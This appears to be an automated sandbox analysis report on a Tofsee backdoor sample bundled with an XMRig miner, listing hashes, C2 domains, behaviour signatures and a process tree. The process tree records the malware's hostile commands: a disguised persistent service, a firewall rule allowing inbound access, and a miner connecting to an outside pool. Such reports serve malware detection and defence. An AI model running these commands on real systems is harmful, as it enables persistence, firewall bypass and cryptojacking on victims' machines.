Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    27-03-2023 12:54

General

  • Target

    file.exe

  • Size

    260KB

  • MD5

    27a71ca98bf0136e20b7e7a20a59882e

  • SHA1

    06094ebd972ad233e649350872eda88b29cbffd7

  • SHA256

    6658d9ff2c6f57b948f1a4f0b66ee5bc19246f32102e60fe6503b3127e7041c3

  • SHA512

    1ef06faf3186ee15c75d950a4521bc79f4a5ac07aa6fceb83500392d1f5c1fc125ab663b50173076b4429c104c0d0c2b0c454e3ee62a1817f61e5d019ec97b0d

  • SSDEEP

    3072:nZ1JP7IfDzrsBrxknL2H0ZYlDJ1iAX6euVG4zE8E1m8L4QQXRb/YRj5WzXv:nJDIQBVknLM0Z2DJ1zk8481P4QQXx

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1376
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hhawetg\
      2⤵
        PID:1232
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lszcrfyi.exe" C:\Windows\SysWOW64\hhawetg\
        2⤵
          PID:1888
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hhawetg binPath= "C:\Windows\SysWOW64\hhawetg\lszcrfyi.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1288
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hhawetg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:468
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hhawetg
          2⤵
          • Launches sc.exe
          PID:1656
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1892
      • C:\Windows\SysWOW64\hhawetg\lszcrfyi.exe
        C:\Windows\SysWOW64\hhawetg\lszcrfyi.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1448
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:988

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\lszcrfyi.exe
        Filesize

        13.5MB

        MD5

        ed36a73e55d8d71cbc85c6252f80903b

        SHA1

        ebe161a148707fbc87d6b2673f77083cd9654cc4

        SHA256

        3de66419b29975590648195f9eebd49729676fab8c70d412a3357f2ad645ce86

        SHA512

        9b755233665bf23598670aae2de079b1bbace9fa1d906384a7553a986211bf48bf616da5cd6805e6b8c4efa31547b775272121b149cbee3ff1426dd4f6416e6d

      • C:\Windows\SysWOW64\hhawetg\lszcrfyi.exe
        Filesize

        13.5MB

        MD5

        ed36a73e55d8d71cbc85c6252f80903b

        SHA1

        ebe161a148707fbc87d6b2673f77083cd9654cc4

        SHA256

        3de66419b29975590648195f9eebd49729676fab8c70d412a3357f2ad645ce86

        SHA512

        9b755233665bf23598670aae2de079b1bbace9fa1d906384a7553a986211bf48bf616da5cd6805e6b8c4efa31547b775272121b149cbee3ff1426dd4f6416e6d

      • memory/988-119-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/988-124-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/988-123-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/988-122-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/988-121-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/988-120-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/988-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/988-112-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/988-111-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/1376-64-0x0000000000400000-0x0000000000704000-memory.dmp
        Filesize

        3.0MB

      • memory/1376-56-0x00000000001B0000-0x00000000001C3000-memory.dmp
        Filesize

        76KB

      • memory/1448-88-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-96-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-81-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-82-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-83-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-84-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-85-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-86-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-87-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-75-0x00000000000E0000-0x00000000000E6000-memory.dmp
        Filesize

        24KB

      • memory/1448-89-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-90-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-91-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-92-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-93-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-94-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-95-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-78-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-97-0x00000000000F0000-0x0000000000100000-memory.dmp
        Filesize

        64KB

      • memory/1448-98-0x0000000000100000-0x0000000000105000-memory.dmp
        Filesize

        20KB

      • memory/1448-101-0x0000000000100000-0x0000000000105000-memory.dmp
        Filesize

        20KB

      • memory/1448-102-0x0000000005530000-0x000000000593B000-memory.dmp
        Filesize

        4.0MB

      • memory/1448-105-0x0000000005530000-0x000000000593B000-memory.dmp
        Filesize

        4.0MB

      • memory/1448-106-0x00000000002F0000-0x00000000002F7000-memory.dmp
        Filesize

        28KB

      • memory/1448-110-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1448-74-0x00000000019B0000-0x0000000001BBF000-memory.dmp
        Filesize

        2.1MB

      • memory/1448-71-0x00000000019B0000-0x0000000001BBF000-memory.dmp
        Filesize

        2.1MB

      • memory/1448-69-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1448-68-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1448-67-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1448-60-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1448-62-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

      • memory/1448-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1976-66-0x0000000000400000-0x0000000000704000-memory.dmp
        Filesize

        3.0MB